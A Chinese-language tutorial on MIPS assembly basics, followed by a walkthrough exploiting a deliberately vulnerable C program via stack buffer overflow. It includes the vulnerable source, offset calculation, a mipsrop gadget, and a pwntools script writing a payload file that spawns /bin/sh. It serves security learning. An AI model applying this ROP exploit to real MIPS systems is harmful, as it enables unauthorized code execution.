MIPS汇编基础

寄存器:

mips体系结构中有32个通用寄存器,在汇编程序中可以用编号$0~$31表示,也可以用寄存器的名字表示。

image-20220113180246381

mips32架构中定义了3个特殊的寄存器,分别是PC(程序计数器)、HI(乘除结果高位寄存器)和LO(乘除结果低位寄存器)。HI保存乘法的结果的高32位和除法的余数,LO保存低32位和商。

mips的特点:

  1. mips指令集固定4字节长度,并且必须4字节对齐
  2. 优先操作寄存器
  3. mips属于大端序

配置好交叉编译环境之后:

通过mipsel-linux-gcc 来编译程序

qemu使用MIPS程序共有两种方法:

  1. qemu-mips大端格式
  2. qemu-mipsel小端格式

指令集:

LOAD/STORE指令

  • LA(Load Address)指令用于将一个地址或者标签存入寄存器。

基本格式la $rd,addr,下面的基本一样

  • LI(Load Immediate)指令用于将一个立即数存入寄存器
  • LW(Load Word)指令用于从一个指定的地址加载一个word类型的值到一个寄存器
  • SW(Store Word)用于将一个源寄存器的值存入指定地址

MOVE用于寄存器之间值的传递

mips32架构栈

  • mips32函数调用与x86没有太大差别,mips32中没有EBP,进入函数将栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的stack frame的存储区域。此后栈指针不再移动,只能在函数返回时将栈指针加上这个偏移量恢复。由于不能随便移动栈指针,所以寄存器压栈和出栈的时候必须指定偏移量。
  • 调用:函数A调用函数B,函数A会在自己的栈顶留下一部分空间来保存函数B的参数,我们称之为调用参数空间。
  • 参数传递方式:前4个传入的参数通过$a0~$a3传递,超过4个放入调用参数空间。
  • 返回地址:mips32会把函数的返回地址存入$RA寄存器中。

如果MIPS32架构下函数A不再调用其他任何函数,那么当前函数A就是一个叶子函数,否则函数A就是一个非叶子函数。

函数调用过程:

  1. 在函数A调用函数B时,首先复制当前的$PC寄存器的值到$RA寄存器,即返回地址。然后跳转到函数B执行。
  2. 如果函数B是个非叶子函数,函数B首先会把函数A的返回地址存入栈,否则仍然保存在$RA。
  3. 返回时,如果函数B是个叶子函数,则直接jr $RA返回;否则函数B会先从栈中取出地址,然后存入$RA,再使用jr $RA返回。

image-20220113180315081

工具

gdb-multiarch 多架构的gdb调试工具

set architecture mips 设置架构为mips

set endian little 设置小端序

qemu-mipsel -g 1234 vuln_system 启动qemu远程调试

target remote 127.0.0.1:1234 远程调试

mips-linux-gcc vuln_system.c -static -o vuln_system 编译

利用

源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
**
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}

ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';

if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}

分析程序

用cyclic计算偏移放到passwd文件里

image-20220113180433836

返回地址ra和buf的距离是0x4 - (-0x1A0)=0x19C

image-20220113180452731

使用ida的插件mipsrop找到gadget

image-20220113180503920

do_system只需要使用第二个参数,所以我们仅仅修改a1就能调用

image-20220113180512059

0x3C是var_40-var_4得到的

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
jr=0x00403630
sysadd=0x04003B0
binsh="/bin/sh\\x00"
buffer="a"*0x19c
buffer+=p32(jr)
buffer+="a"*(0x58-0x40)
buffer+=binsh
buffer+="a"*(0x3c-len(binsh))
buffer+=p32(sysadd)
f=open('passwd','w')
f.write(buffer)
f.close()

拿到shell

image-20220113180547784